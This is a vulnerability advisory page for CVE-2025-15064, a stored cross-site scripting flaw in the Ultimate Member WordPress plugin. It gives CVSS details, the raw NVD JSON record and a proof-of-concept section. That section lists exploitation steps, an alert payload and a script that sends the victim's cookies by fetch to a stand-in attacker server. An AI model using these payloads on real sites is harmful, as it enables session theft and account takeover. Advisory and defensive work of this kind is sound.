Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-15064 CVSS 6.4 MEDIUM

CVE-2025-15064

Published: 2026-04-04 08:16:06
Last Modified: 2026-04-24 18:13:29

Description

The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user description field in all versions up to, and including, 2.11.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability is only exploitable when "HTML support for user description" is enabled in Ultimate Member settings.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Member <= 2.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-15064 Stored XSS --> <!-- Prerequisite: Enable "HTML support for user description" in Ultimate Member settings --> <!-- Step 1: Log in as a subscriber (low privileged user). --> <!-- Step 2: Navigate to the Profile edit page. --> <!-- Step 3: Inject the following payload into the "Biography/Description" field and save. --> <!-- Basic Payload --> <img src=x onerror=alert(document.cookie)> <!-- Advanced Payload (stealthy) --> <script> fetch('http://attacker-server.com/steal?c=' + encodeURIComponent(document.cookie)); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15064", "sourceIdentifier": "[email protected]", "published": "2026-04-04T08:16:05.543", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user description field in all versions up to, and including, 2.11.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability is only exploitable when \"HTML support for user description\" is enabled in Ultimate Member settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/ultimatemember/ultimatemember/pull/1774", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2a7f070a-b67c-4e65-a928-a6116266c54d?source=cve", "source": "[email protected]"}]}}